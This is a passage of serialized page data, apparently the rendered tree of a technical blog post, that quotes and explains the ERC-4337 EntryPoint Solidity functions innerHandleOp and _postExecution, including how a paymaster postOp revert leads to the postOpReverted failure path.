works.",{"type":22,"tag":618,"props":106991,"children":106993},{"className":5768,"code":106992,"language":5767,"meta":7,"style":7},"    function innerHandleOp(\n        bytes memory callData,\n        UserOpInfo memory opInfo,\n        bytes calldata context\n    ) external returns (uint256 actualGasCost) {\n    [...]\n        IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n        if (callData.length > 0) {\n            bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n            if (!success) {\n                uint256 freePtr = _getFreePtr();\n                bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                if (result.length > 0) {\n                    emit UserOperationRevertReason(\n                        opInfo.userOpHash,\n                        mUserOp.sender,\n                        mUserOp.nonce,\n                        result\n                    );\n                }\n                _restoreFreePtr(freePtr);\n                mode = IPaymaster.PostOpMode.opReverted;\n            }\n        }\n\n        unchecked {\n            uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n            return _postExecution(mode, opInfo, context, actualGas);\n        }\n    }\n",[106994],{"type":22,"tag":257,"props":106995,"children":106996},{"__ignoreMap":7},[106997,107013,107034,107054,107070,107103,107110,107127,107151,107191,107210,107235,107269,107293,107310,107318,107326,107334,107342,107350,107357,107370,107387,107394,107401,107408,107419,107458,107474,107481],{"type":22,"tag":264,"props":106998,"children":106999},{"class":1534,"line":1535},[107000,107004,107009],{"type":22,"tag":264,"props":107001,"children":107002},{"style":4293},[107003],{"type":27,"value":91154},{"type":22,"tag":264,"props":107005,"children":107006},{"style":4401},[107007],{"type":27,"value":107008}," innerHandleOp",{"type":22,"tag":264,"props":107010,"children":107011},{"style":1539},[107012],{"type":27,"value":4767},{"type":22,"tag":264,"props":107014,"children":107015},{"class":1534,"line":1545},[107016,107021,107025,107030],{"type":22,"tag":264,"props":107017,"children":107018},{"style":4722},[107019],{"type":27,"value":107020},"        bytes",{"type":22,"tag":264,"props":107022,"children":107023},{"style":4293},[107024],{"type":27,"value":104401},{"type":22,"tag":264,"props":107026,"children":107027},{"style":1549},[107028],{"type":27,"value":107029}," callData",{"type":22,"tag":264,"props":107031,"children":107032},{"style":1539},[107033],{"type":27,"value":4812},{"type":22,"tag":264,"props":107035,"children":107036},{"class":1534,"line":1560},[107037,107041,107045,107050],{"type":22,"tag":264,"props":107038,"children":107039},{"style":4293},[107040],{"type":27,"value":106061},{"type":22,"tag":264,"props":107042,"children":107043},{"style":4293},[107044],{"type":27,"value":104401},{"type":22,"tag":264,"props":107046,"children":107047},{"style":1549},[107048],{"type":27,"value":107049}," opInfo",{"type":22,"tag":264,"props":107051,"children":107052},{"style":1539},[107053],{"type":27,"value":4812},{"type":22,"tag":264,"props":107055,"children":107056},{"class":1534,"line":1569},[107057,107061,107065],{"type":22,"tag":264,"props":107058,"children":107059},{"style":4722},[107060],{"type":27,"value":107020},{"type":22,"tag":264,"props":107062,"children":107063},{"style":4293},[107064],{"type":27,"value":104333},{"type":22,"tag":264,"props":107066,"children":107067},{"style":1549},[107068],{"type":27,"value":107069}," context\n",{"type":22,"tag":264,"props":107071,"children":107072},{"class":1534,"line":1583},[107073,107078,107083,107087,107091,107095,107099],{"type":22,"tag":264,"props":107074,"children":107075},{"style":1539},[107076],{"type":27,"value":107077},"    ) ",{"type":22,"tag":264,"props":107079,"children":107080},{"style":4293},[107081],{"type":27,"value":107082},"external",{"type":22,"tag":264,"props":107084,"children":107085},{"style":4328},[107086],{"type":27,"value":77319},{"type":22,"tag":264,"props":107088,"children":107089},{"style":1539},[107090],{"type":27,"value":4370},{"type":22,"tag":264,"props":107092,"children":107093},{"style":4722},[107094],{"type":27,"value":47488},{"type":22,"tag":264,"props":107096,"children":107097},{"style":1549},[107098],{"type":27,"value":105142},{"type":22,"tag":264,"props":107100,"children":107101},{"style":1539},[107102],{"type":27,"value":16103},{"type":22,"tag":264,"props":107104,"children":107105},{"class":1534,"line":1603},[107106],{"type":22,"tag":264,"props":107107,"children":107108},{"style":1539},[107109],{"type":27,"value":106122},{"type":22,"tag":264,"props":107111,"children":107112},{"class":1534,"line":1612},[107113,107118,107122],{"type":22,"tag":264,"props":107114,"children":107115},{"style":1539},[107116],{"type":27,"value":107117},"        IPaymaster.PostOpMode mode ",{"type":22,"tag":264,"props":107119,"children":107120},{"style":4309},[107121],{"type":27,"value":429},{"type":22,"tag":264,"props":107123,"children":107124},{"style":1539},[107125],{"type":27,"value":107126}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":22,"tag":264,"props":107128,"children":107129},{"class":1534,"line":1621},[107130,107134,107139,107143,107147],{"type":22,"tag":264,"props":107131,"children":107132},{"style":4328},[107133],{"type":27,"value":4575},{"type":22,"tag":264,"props":107135,"children":107136},{"style":1539},[107137],{"type":27,"value":107138}," (callData.length ",{"type":22,"tag":264,"props":107140,"children":107141},{"style":4309},[107142],{"type":27,"value":11760},{"type":22,"tag":264,"props":107144,"children":107145},{"style":4344},[107146],{"type":27,"value":4347},{"type":22,"tag":264,"props":107148,"children":107149},{"style":1539},[107150],{"type":27,"value":16103},{"type":22,"tag":264,"props":107152,"children":107153},{"class":1534,"line":1629},[107154,107159,107164,107168,107173,107177,107182,107186],{"type":22,"tag":264,"props":107155,"children":107156},{"style":4722},[107157],{"type":27,"value":107158},"            bool",{"type":22,"tag":264,"props":107160,"children":107161},{"style":1539},[107162],{"type":27,"value":107163}," success ",{"type":22,"tag":264,"props":107165,"children":107166},{"style":4309},[107167],{"type":27,"value":429},{"type":22,"tag":264,"props":107169,"children":107170},{"style":1539},[107171],{"type":27,"value":107172}," Exec.",{"type":22,"tag":264,"props":107174,"children":107175},{"style":4401},[107176],{"type":27,"value":39610},{"type":22,"tag":264,"props":107178,"children":107179},{"style":1539},[107180],{"type":27,"value":107181},"(mUserOp.sender, ",{"type":22,"tag":264,"props":107183,"children":107184},{"style":4344},[107185],{"type":27,"value":5334},{"type":22,"tag":264,"props":107187,"children":107188},{"style":1539},[107189],{"type":27,"value":107190},", callData, callGasLimit);\n",{"type":22,"tag":264,"props":107192,"children":107193},{"class":1534,"line":1642},[107194,107198,107202,107206],{"type":22,"tag":264,"props":107195,"children":107196},{"style":4328},[107197],{"type":27,"value":60122},{"type":22,"tag":264,"props":107199,"children":107200},{"style":1539},[107201],{"type":27,"value":4370},{"type":22,"tag":264,"props":107203,"children":107204},{"style":4309},[107205],{"type":27,"value":21928},{"type":22,"tag":264,"props":107207,"children":107208},{"style":1539},[107209],{"type":27,"value":106494},{"type":22,"tag":264,"props":107211,"children":107212},{"class":1534,"line":1660},[107213,107217,107222,107226,107231],{"type":22,"tag":264,"props":107214,"children":107215},{"style":4722},[107216],{"type":27,"value":104781},{"type":22,"tag":264,"props":107218,"children":107219},{"style":1539},[107220],{"type":27,"value":107221}," freePtr ",{"type":22,"tag":264,"props":107223,"children":107224},{"style":4309},[107225],{"type":27,"value":429},{"type":22,"tag":264,"props":107227,"children":107228},{"style":4401},[107229],{"type":27,"value":107230}," _getFreePtr",{"type":22,"tag":264,"props":107232,"children":107233},{"style":1539},[107234],{"type":27,"value":4977},{"type":22,"tag":264,"props":107236,"children":107237},{"class":1534,"line":1668},[107238,107242,107246,107251,107255,107259,107264],{"type":22,"tag":264,"props":107239,"children":107240},{"style":4722},[107241],{"type":27,"value":106178},{"type":22,"tag":264,"props":107243,"children":107244},{"style":4293},[107245],{"type":27,"value":104401},{"type":22,"tag":264,"props":107247,"children":107248},{"style":1539},[107249],{"type":27,"value":107250}," result ",{"type":22,"tag":264,"props":107252,"children":107253},{"style":4309},[107254],{"type":27,"value":429},{"type":22,"tag":264,"props":107256,"children":107257},{"style":1539},[107258],{"type":27,"value":107172},{"type":22,"tag":264,"props":107260,"children":107261},{"style":4401},[107262],{"type":27,"value":107263},"getReturnData",{"type":22,"tag":264,"props":107265,"children":107266},{"style":1539},[107267],{"type":27,"value":107268},"(REVERT_REASON_MAX_LEN);\n",{"type":22,"tag":264,"props":107270,"children":107271},{"class":1534,"line":1677},[107272,107276,107281,107285,107289],{"type":22,"tag":264,"props":107273,"children":107274},{"style":4328},[107275],{"type":27,"value":104841},{"type":22,"tag":264,"props":107277,"children":107278},{"style":1539},[107279],{"type":27,"value":107280}," (result.length ",{"type":22,"tag":264,"props":107282,"children":107283},{"style":4309},[107284],{"type":27,"value":11760},{"type":22,"tag":264,"props":107286,"children":107287},{"style":4344},[107288],{"type":27,"value":4347},{"type":22,"tag":264,"props":107290,"children":107291},{"style":1539},[107292],{"type":27,"value":16103},{"type":22,"tag":264,"props":107294,"children":107295},{"class":1534,"line":1686},[107296,107301,107306],{"type":22,"tag":264,"props":107297,"children":107298},{"style":4328},[107299],{"type":27,"value":107300},"                    emit",{"type":22,"tag":264,"props":107302,"children":107303},{"style":4401},[107304],{"type":27,"value":107305}," UserOperationRevertReason",{"type":22,"tag":264,"props":107307,"children":107308},{"style":1539},[107309],{"type":27,"value":4767},{"type":22,"tag":264,"props":107311,"children":107312},{"class":1534,"line":4948},[107313],{"type":22,"tag":264,"props":107314,"children":107315},{"style":1539},[107316],{"type":27,"value":107317},"                        opInfo.userOpHash,\n",{"type":22,"tag":264,"props":107319,"children":107320},{"class":1534,"line":4957},[107321],{"type":22,"tag":264,"props":107322,"children":107323},{"style":1539},[107324],{"type":27,"value":107325},"                        mUserOp.sender,\n",{"type":22,"tag":264,"props":107327,"children":107328},{"class":1534,"line":4980},[107329],{"type":22,"tag":264,"props":107330,"children":107331},{"style":1539},[107332],{"type":27,"value":107333},"                        mUserOp.nonce,\n",{"type":22,"tag":264,"props":107335,"children":107336},{"class":1534,"line":4989},[107337],{"type":22,"tag":264,"props":107338,"children":107339},{"style":1539},[107340],{"type":27,"value":107341},"                        result\n",{"type":22,"tag":264,"props":107343,"children":107344},{"class":1534,"line":4998},[107345],{"type":22,"tag":264,"props":107346,"children":107347},{"style":1539},[107348],{"type":27,"value":107349},"                    );\n",{"type":22,"tag":264,"props":107351,"children":107352},{"class":1534,"line":5067},[107353],{"type":22,"tag":264,"props":107354,"children":107355},{"style":1539},[107356],{"type":27,"value":72395},{"type":22,"tag":264,"props":107358,"children":107359},{"class":1534,"line":5075},[107360,107365],{"type":22,"tag":264,"props":107361,"children":107362},{"style":4401},[107363],{"type":27,"value":107364},"                _restoreFreePtr",{"type":22,"tag":264,"props":107366,"children":107367},{"style":1539},[107368],{"type":27,"value":107369},"(freePtr);\n",{"type":22,"tag":264,"props":107371,"children":107372},{"class":1534,"line":5105},[107373,107378,107382],{"type":22,"tag":264,"props":107374,"children":107375},{"style":1539},[107376],{"type":27,"value":107377},"                mode ",{"type":22,"tag":264,"props":107379,"children":107380},{"style":4309},[107381],{"type":27,"value":429},{"type":22,"tag":264,"props":107383,"children":107384},{"style":1539},[107385],{"type":27,"value":107386}," IPaymaster.PostOpMode.opReverted;\n",{"type":22,"tag":264,"props":107388,"children":107389},{"class":1534,"line":5113},[107390],{"type":22,"tag":264,"props":107391,"children":107392},{"style":1539},[107393],{"type":27,"value":60206},{"type":22,"tag":264,"props":107395,"children":107396},{"class":1534,"line":5145},[107397],{"type":22,"tag":264,"props":107398,"children":107399},{"style":1539},[107400],{"type":27,"value":4651},{"type":22,"tag":264,"props":107402,"children":107403},{"class":1534,"line":5153},[107404],{"type":22,"tag":264,"props":107405,"children":107406},{"emptyLinePlaceholder":17},[107407],{"type":27,"value":4986},{"type":22,"tag":264,"props":107409,"children":107410},{"class":1534,"line":5213},[107411,107415],{"type":22,"tag":264,"props":107412,"children":107413},{"style":4328},[107414],{"type":27,"value":104437},{"type":22,"tag":264,"props":107416,"children":107417},{"style":1539},[107418],{"type":27,"value":4594},{"type":22,"tag":264,"props":107420,"children":107421},{"class":1534,"line":10343},[107422,107426,107430,107434,107438,107442,107446,107450,107454],{"type":22,"tag":264,"props":107423,"children":107424},{"style":4722},[107425],{"type":27,"value":104449},{"type":22,"tag":264,"props":107427,"children":107428},{"style":1539},[107429],{"type":27,"value":106613},{"type":22,"tag":264,"props":107431,"children":107432},{"style":4309},[107433],{"type":27,"value":429},{"type":22,"tag":264,"props":107435,"children":107436},{"style":1539},[107437],{"type":27,"value":106622},{"type":22,"tag":264,"props":107439,"children":107440},{"style":4309},[107441],{"type":27,"value":5621},{"type":22,"tag":264,"props":107443,"children":107444},{"style":4293},[107445],{"type":27,"value":106631},{"type":22,"tag":264,"props":107447,"children":107448},{"style":1539},[107449],{"type":27,"value":15342},{"type":22,"tag":264,"props":107451,"children":107452},{"style":4309},[107453],{"type":27,"value":673},{"type":22,"tag":264,"props":107455,"children":107456},{"style":1539},[107457],{"type":27,"value":106644},{"type":22,"tag":264,"props":107459,"children":107460},{"class":1534,"line":10361},[107461,107465,107469],{"type":22,"tag":264,"props":107462,"children":107463},{"style":4328},[107464],{"type":27,"value":80402},{"type":22,"tag":264,"props":107466,"children":107467},{"style":4401},[107468],{"type":27,"value":106753},{"type":22,"tag":264,"props":107470,"children":107471},{"style":1539},[107472],{"type":27,"value":107473},"(mode, opInfo, context, actualGas);\n",{"type":22,"tag":264,"props":107475,"children":107476},{"class":1534,"line":10406},[107477],{"type":22,"tag":264,"props":107478,"children":107479},{"style":1539},[107480],{"type":27,"value":4651},{"type":22,"tag":264,"props":107482,"children":107483},{"class":1534,"line":10512},[107484],{"type":22,"tag":264,"props":107485,"children":107486},{"style":1539},[107487],{"type":27,"value":1674},{"type":22,"tag":23,"props":107489,"children":107490},{},[107491,107493,107498,107500,107505,107507,107513,107515,107521,107523,107528,107530,107540],{"type":27,"value":107492},"We observe that, in the happy path, ",{"type":22,"tag":257,"props":107494,"children":107496},{"className":107495},[],[107497],{"type":27,"value":106844},{"type":27,"value":107499}," is expected to not only execute the actual ",{"type":22,"tag":257,"props":107501,"children":107503},{"className":107502},[],[107504],{"type":27,"value":103503},{"type":27,"value":107506}," call, but also call ",{"type":22,"tag":257,"props":107508,"children":107510},{"className":107509},[],[107511],{"type":27,"value":107512},"_postExecution",{"type":27,"value":107514},". This means that the third failure handling path, which passes ",{"type":22,"tag":257,"props":107516,"children":107518},{"className":107517},[],[107519],{"type":27,"value":107520},"postOpReverted",{"type":27,"value":107522}," as its mode, happens when something goes wrong with the ",{"type":22,"tag":257,"props":107524,"children":107526},{"className":107525},[],[107527],{"type":27,"value":107512},{"type":27,"value":107529}," call ",{"type":22,"tag":242,"props":107531,"children":107532},{},[107533,107535],{"type":27,"value":107534},"inside ",{"type":22,"tag":257,"props":107536,"children":107538},{"className":107537},[],[107539],{"type":27,"value":106844},{"type":27,"value":210},{"type":22,"tag":23,"props":107542,"children":107543},{},[107544,107546,107551],{"type":27,"value":107545},"Let's examine the ",{"type":22,"tag":257,"props":107547,"children":107549},{"className":107548},[],[107550],{"type":27,"value":107512},{"type":27,"value":107552}," code to understand where the revert might occur.",{"type":22,"tag":618,"props":107554,"children":107556},{"className":5768,"code":107555,"language":5767,"meta":7,"style":7},"    function _postExecution(\n        IPaymaster.PostOpMode mode,\n        UserOpInfo memory opInfo,\n        bytes memory context,\n        uint256 actualGas\n    ) internal virtual returns (uint256 actualGasCost) {\n    [...]\n            if (paymaster == address(0)) {\n                refundAddress = mUserOp.sender;\n            } else {\n                refundAddress = paymaster;\n                if (context.length > 0) {\n                    actualGasCost = actualGas * gasPrice;\n                    uint256 postOpPreGas = gasleft();\n                    if (mode != IPaymaster.PostOpMode.postOpReverted) {\n                        try IPaymaster(paymaster).postOp{\n                                gas: mUserOp.paymasterPostOpGasLimit\n                            }(mode, context, actualGasCost, gasPrice)\n                        // solhint-disable-next-line no-empty-blocks\n                        {} catch {\n                            bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                            revert PostOpReverted(reason);\n                        }\n                    }\n                    // Calculating a penalty for unused postOp gas\n                    // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n                    uint256 postOpGasUsed = postOpPreGas - gasleft();\n                    postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n                }\n            }\n    [...]\n    }\n",[107557],{"type":22,"tag":257,"props":107558,"children":107559},{"__ignoreMap":7},[107560,107575,107600,107619,107638,107650,107687,107694,107726,107743,107758,107774,107798,107823,107847,107869,107887,107904,107912,107930,107946,107979,107997,108004,108011,108019,108035,108067,108089,108096,108103,108110],{"type":22,"tag":264,"props":107561,"children":107562},{"class":1534,"line":1535},[107563,107567,107571],{"type":22,"tag":264,"props":107564,"children":107565},{"style":4293},[107566],{"type":27,"value":91154},{"type":22,"tag":264,"props":107568,"children":107569},{"style":4401},[107570],{"type":27,"value":106753},{"type":22,"tag":264,"props":107572,"children":107573},{"style":1539},[107574],{"type":27,"value":4767},{"type":22,"tag":264,"props":107576,"children":107577},{"class":1534,"line":1545},[107578,107583,107587,107591,107596],{"type":22,"tag":264,"props":107579,"children":107580},{"style":4293},[107581],{"type":27,"value":107582},"        IPaymaster",{"type":22,"tag":264,"props":107584,"children":107585},{"style":1539},[107586],{"type":27,"value":210},{"type":22,"tag":264,"props":107588,"children":107589},{"style":1549},[107590],{"type":27,"value":105113},{"type":22,"tag":264,"props":107592,"children":107593},{"style":1549},[107594],{"type":27,"value":107595}," mode",{"type":22,"tag":264,"props":107597,"children":107598},{"style":1539},[107599],{"type":27,"value":4812},{"type":22,"tag":264,"props":107601,"children":107602},{"class":1534,"line":1560},[107603,107607,107611,107615],{"type":22,"tag":264,"props":107604,"children":107605},{"style":4293},[107606],{"type":27,"value":106061},{"type":22,"tag":264,"props":107608,"children":107609},{"style":4293},[107610],{"type":27,"value":104401},{"type":22,"tag":264,"props":107612,"children":107613},{"style":1549},[107614],{"type":27,"value":107049},{"type":22,"tag":264,"props":107616,"children":107617},{"style":1539},[107618],{"type":27,"value":4812},{"type":22,"tag":264,"props":107620,"children":107621},{"class":1534,"line":1569},[107622,107626,107630,107634],{"type":22,"tag":264,"props":107623,"children":107624},{"style":4722},[107625],{"type":27,"value":107020},{"type":22,"tag":264,"props":107627,"children":107628},{"style":4293},[107629],{"type":27,"value":104401},{"type":22,"tag":264,"props":107631,"children":107632},{"style":1549},[107633],{"type":27,"value":77666},{"type":22,"tag":264,"props":107635,"children":107636},{"style":1539},[107637],{"type":27,"value":4812},{"type":22,"tag":264,"props":107639,"children":107640},{"class":1534,"line":1583},[107641,107645],{"type":22,"tag":264,"props":107642,"children":107643},{"style":4722},[107644],{"type":27,"value":91332},{"type":22,"tag":264,"props":107646,"children":107647},{"style":1549},[107648],{"type":27,"value":107649}," actualGas\n",{"type":22,"tag":264,"props":107651,"children":107652},{"class":1534,"line":1603},[107653,107657,107662,107667,107671,107675,107679,107683],{"type":22,"tag":264,"props":107654,"children":107655},{"style":1539},[107656],{"type":27,"value":107077},{"type":22,"tag":264,"props":107658,"children":107659},{"style":4293},[107660],{"type":27,"value":107661},"internal",{"type":22,"tag":264,"props":107663,"children":107664},{"style":4293},[107665],{"type":27,"value":107666}," virtual",{"type":22,"tag":264,"props":107668,"children":107669},{"style":4328},[107670],{"type":27,"value":77319},{"type":22,"tag":264,"props":107672,"children":107673},{"style":1539},[107674],{"type":27,"value":4370},{"type":22,"tag":264,"props":107676,"children":107677},{"style":4722},[107678],{"type":27,"value":47488},{"type":22,"tag":264,"props":107680,"children":107681},{"style":1549},[107682],{"type":27,"value":105142},{"type":22,"tag":264,"props":107684,"children":107685},{"style":1539},[107686],{"type":27,"value":16103},{"type":22,"tag":264,"props":107688,"children":107689},{"class":1534,"line":1612},[107690],{"type":22,"tag":264,"props":107691,"children":107692},{"style":1539},[107693],{"type":27,"value":106122},{"type":22,"tag":264,"props":107695,"children":107696},{"class":1534,"line":1621},[107697,107701,107706,107710,107714,107718,107722],{"type":22,"tag":264,"props":107698,"children":107699},{"style":4328},[107700],{"type":27,"value":60122},{"type":22,"tag":264,"props":107702,"children":107703},{"style":1539},[107704],{"type":27,"value":107705}," (paymaster ",{"type":22,"tag":264,"props":107707,"children":107708},{"style":4309},[107709],{"type":27,"value":9870},{"type":22,"tag":264,"props":107711,"children":107712},{"style":4722},[107713],{"type":27,"value":7542},{"type":22,"tag":264,"props":107715,"children":107716},{"style":1539},[107717],{"type":27,"value":2660},{"type":22,"tag":264,"props":107719,"children":107720},{"style":4344},[107721],{"type":27,"value":5334},{"type":22,"tag":264,"props":107723,"children":107724},{"style":1539},[107725],{"type":27,"value":36508},{"type":22,"tag":264,"props":107727,"children":107728},{"class":1534,"line":1629},[107729,107734,107738],{"type":22,"tag":264,"props":107730,"children":107731},{"style":1539},[107732],{"type":27,"value":107733},"                refundAddress ",{"type":22,"tag":264,"props":107735,"children":107736},{"style":4309},[107737],{"type":27,"value":429},{"type":22,"tag":264,"props":107739,"children":107740},{"style":1539},[107741],{"type":27,"value":107742}," mUserOp.sender;\n",{"type":22,"tag":264,"props":107744,"children":107745},{"class":1534,"line":1642},[107746,107750,107754],{"type":22,"tag":264,"props":107747,"children":107748},{"style":1539},[107749],{"type":27,"value":71918},{"type":22,"tag":264,"props":107751,"children":107752},{"style":4328},[107753],{"type":27,"value":4619},{"type":22,"tag":264,"props":107755,"children":107756},{"style":1539},[107757],{"type":27,"value":4594},{"type":22,"tag":264,"props":107759,"children":107760},{"class":1534,"line":1660},[107761,107765,107769],{"type":22,"tag":264,"props":107762,"children":107763},{"style":1539},[107764],{"type":27,"value":107733},{"type":22,"tag":264,"props":107766,"children":107767},{"style":4309},[107768],{"type":27,"value":429},{"type":22,"tag":264,"props":107770,"children":107771},{"style":1539},[107772],{"type":27,"value":107773}," paymaster;\n",{"type":22,"tag":264,"props":107775,"children":107776},{"class":1534,"line":1668},[107777,107781,107786,107790,107794],{"type":22,"tag":264,"props":107778,"children":107779},{"style":4328},[107780],{"type":27,"value":104841},{"type":22,"tag":264,"props":107782,"children":107783},{"style":1539},[107784],{"type":27,"value":107785}," (context.length ",{"type":22,"tag":264,"props":107787,"children":107788},{"style":4309},[107789],{"type":27,"value":11760},{"type":22,"tag":264,"props":107791,"children":107792},{"style":4344},[107793],{"type":27,"value":4347},{"type":22,"tag":264,"props":107795,"children":107796},{"style":1539},[107797],{"type":27,"value":16103},{"type":22,"tag":264,"props":107799,"children":107800},{"class":1534,"line":1677},[107801,107806,107810,107814,107818],{"type":22,"tag":264,"props":107802,"children":107803},{"style":1539},[107804],{"type":27,"value":107805},"                    actualGasCost ",{"type":22,"tag":264,"props":107807,"children":107808},{"style":4309},[107809],{"type":27,"value":429},{"type":22,"tag":264,"props":107811,"children":107812},{"style":1539},[107813],{"type":27,"value":106613},{"type":22,"tag":264,"props":107815,"children":107816},{"style":4309},[107817],{"type":27,"value":5865},{"type":22,"tag":264,"props":107819,"children":107820},{"style":1539},[107821],{"type":27,"value":107822}," gasPrice;\n",{"type":22,"tag":264,"props":107824,"children":107825},{"class":1534,"line":1686},[107826,107830,107835,107839,107843],{"type":22,"tag":264,"props":107827,"children":107828},{"style":4722},[107829],{"type":27,"value":104798},{"type":22,"tag":264,"props":107831,"children":107832},{"style":1539},[107833],{"type":27,"value":107834}," postOpPreGas ",{"type":22,"tag":264,"props":107836,"children":107837},{"style":4309},[107838],{"type":27,"value":429},{"type":22,"tag":264,"props":107840,"children":107841},{"style":4293},[107842],{"type":27,"value":106631},{"type":22,"tag":264,"props":107844,"children":107845},{"style":1539},[107846],{"type":27,"value":4977},{"type":22,"tag":264,"props":107848,"children":107849},{"class":1534,"line":4948},[107850,107855,107860,107864],{"type":22,"tag":264,"props":107851,"children":107852},{"style":4328},[107853],{"type":27,"value":107854},"                    if",{"type":22,"tag":264,"props":107856,"children":107857},{"style":1539},[107858],{"type":27,"value":107859}," (mode ",{"type":22,"tag":264,"props":107861,"children":107862},{"style":4309},[107863],{"type":27,"value":16988},{"type":22,"tag":264,"props":107865,"children":107866},{"style":1539},[107867],{"type":27,"value":107868}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":22,"tag":264,"props":107870,"children":107871},{"class":1534,"line":4957},[107872,107877,107882],{"type":22,"tag":264,"props":107873,"children":107874},{"style":4328},[107875],{"type":27,"value":107876},"                        try",{"type":22,"tag":264,"props":107878,"children":107879},{"style":4401},[107880],{"type":27,"value":107881}," IPaymaster",{"type":22,"tag":264,"props":107883,"children":107884},{"style":1539},[107885],{"type":27,"value":107886},"(paymaster).postOp{\n",{"type":22,"tag":264,"props":107888,"children":107889},{"class":1534,"line":4980},[107890,107895,107899],{"type":22,"tag":264,"props":107891,"children":107892},{"style":1539},[107893],{"type":27,"value":107894},"                                gas",{"type":22,"tag":264,"props":107896,"children":107897},{"style":4309},[107898],{"type":27,"value":5785},{"type":22,"tag":264,"props":107900,"children":107901},{"style":1539},[107902],{"type":27,"value":107903}," mUserOp.paymasterPostOpGasLimit\n",{"type":22,"tag":264,"props":107905,"children":107906},{"class":1534,"line":4989},[107907],{"type":22,"tag":264,"props":107908,"children":107909},{"style":1539},[107910],{"type":27,"value":107911},"                            }(mode, context, actualGasCost, gasPrice)\n",{"type":22,"tag":264,"props":107913,"children":107914},{"class":1534,"line":4998},[107915,107920,107925],{"type":22,"tag":264,"props":107916,"children":107917},{"style":4284},[107918],{"type":27,"value":107919},"                        // ",{"type":22,"tag":264,"props":107921,"children":107922},{"style":4293},[107923],{"type":27,"value":107924},"solhint-disable",{"type":22,"tag":264,"props":107926,"children":107927},{"style":4284},[107928],{"type":27,"value":107929},"-next-line no-empty-blocks\n",{"type":22,"tag":264,"props":107931,"children":107932},{"class":1534,"line":5067},[107933,107938,107942],{"type":22,"tag":264,"props":107934,"children":107935},{"style":1539},[107936],{"type":27,"value":107937},"                        {} ",{"type":22,"tag":264,"props":107939,"children":107940},{"style":4328},[107941],{"type":27,"value":49731},{"type":22,"tag":264,"props":107943,"children":107944},{"style":1539},[107945],{"type":27,"value":4594},{"type":22,"tag":264,"props":107947,"children":107948},{"class":1534,"line":5075},[107949,107954,107958,107963,107967,107971,107975],{"type":22,"tag":264,"props":107950,"children":107951},{"style":4722},[107952],{"type":27,"value":107953},"                            bytes",{"type":22,"tag":264,"props":107955,"children":107956},{"style":4293},[107957],{"type":27,"value":104401},{"type":22,"tag":264,"props":107959,"children":107960},{"style":1539},[107961],{"type":27,"value":107962}," reason ",{"type":22,"tag":264,"props":107964,"children":107965},{"style":4309},[107966],{"type":27,"value":429},{"type":22,"tag":264,"props":107968,"children":107969},{"style":1539},[107970],{"type":27,"value":107172},{"type":22,"tag":264,"props":107972,"children":107973},{"style":4401},[107974],{"type":27,"value":107263},{"type":22,"tag":264,"props":107976,"children":107977},{"style":1539},[107978],{"type":27,"value":107268},{"type":22,"tag":264,"props":107980,"children":107981},{"class":1534,"line":5105},[107982,107987,107992],{"type":22,"tag":264,"props":107983,"children":107984},{"style":4328},[107985],{"type":27,"value":107986},"                            revert",{"type":22,"tag":264,"props":107988,"children":107989},{"style":4401},[107990],{"type":27,"value":107991}," PostOpReverted",{"type":22,"tag":264,"props":107993,"children":107994},{"style":1539},[107995],{"type":27,"value":107996},"(reason);\n",{"type":22,"tag":264,"props":107998,"children":107999},{"class":1534,"line":5113},[108000],{"type":22,"tag":264,"props":108001,"children":108002},{"style":1539},[108003],{"type":27,"value":72302},{"type":22,"tag":264,"props":108005,"children":108006},{"class":1534,"line":5145},[108007],{"type":22,"tag":264,"props":108008,"children":108009},{"style":1539},[108010],{"type":27,"value":72387},{"type":22,"tag":264,"props":108012,"children":108013},{"class":1534,"line":5153},[108014],{"type":22,"tag":264,"props":108015,"children":108016},{"style":4284},[108017],{"type":27,"value":108018},"                    // Calculating a penalty for unused postOp gas\n",{"type":22,"tag":264,"props":108020,"children":108021},{"class":1534,"line":5213},[108022,108026,108030],{"type":22,"tag":264,"props":108023,"children":108024},{"style":4284},[108025],{"type":27,"value":104863},{"type":22,"tag":264,"props":108027,"children":108028},{"style":4293},[108029],{"type":27,"value":68082},{"type":22,"tag":264,"props":108031,"children":108032},{"style":4284},[108033],{"type":27,"value":108034}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":22,"tag":264,"props":108036,"children":108037},{"class":1534,"line":10343},[108038,108042,108047,108051,108055,108059,108063],{"type":22,"tag":264,"props":108039,"children":108040},{"style":4722},[108041],{"type":27,"value":104798},{"type":22,"tag":264,"props":108043,"children":108044},{"style":1539},[108045],{"type":27,"value":108046}," postOpGasUsed ",{"type":22,"tag":264,"props":108048,"children":108049},{"style":4309},[108050],{"type":27,"value":429},{"type":22,"tag":264,"props":108052,"children":108053},{"style":1539},[108054],{"type":27,"value":107834},{"type":22,"tag":264,"props":108056,"children":108057},{"style":4309},[108058],{"type":27,"value":5621},{"type":22,"tag":264,"props":108060,"children":108061},{"style":4293},[108062],{"type":27,"value":106631},{"type":22,"tag":264,"props":108064,"children":108065},{"style":1539},[108066],{"type":27,"value":4977},{"type":22,"tag":264,"props":108068,"children":108069},{"class":1534,"line":10361},[108070,108075,108079,108084],{"type":22,"tag":264,"props":108071,"children":108072},{"style":1539},[108073],{"type":27,"value":108074},"                    postOpUnusedGasPenalty ",{"type":22,"tag":264,"props":108076,"children":108077},{"style":4309},[108078],{"type":27,"value":429},{"type":22,"tag":264,"props":108080,"children":108081},{"style":4401},[108082],{"type":27,"value":108083}," _getUnusedGasPenalty",{"type":22,"tag":264,"props":108085,"children":108086},{"style":1539},[108087],{"type":27,"value":108088},"(postOpGasUsed, 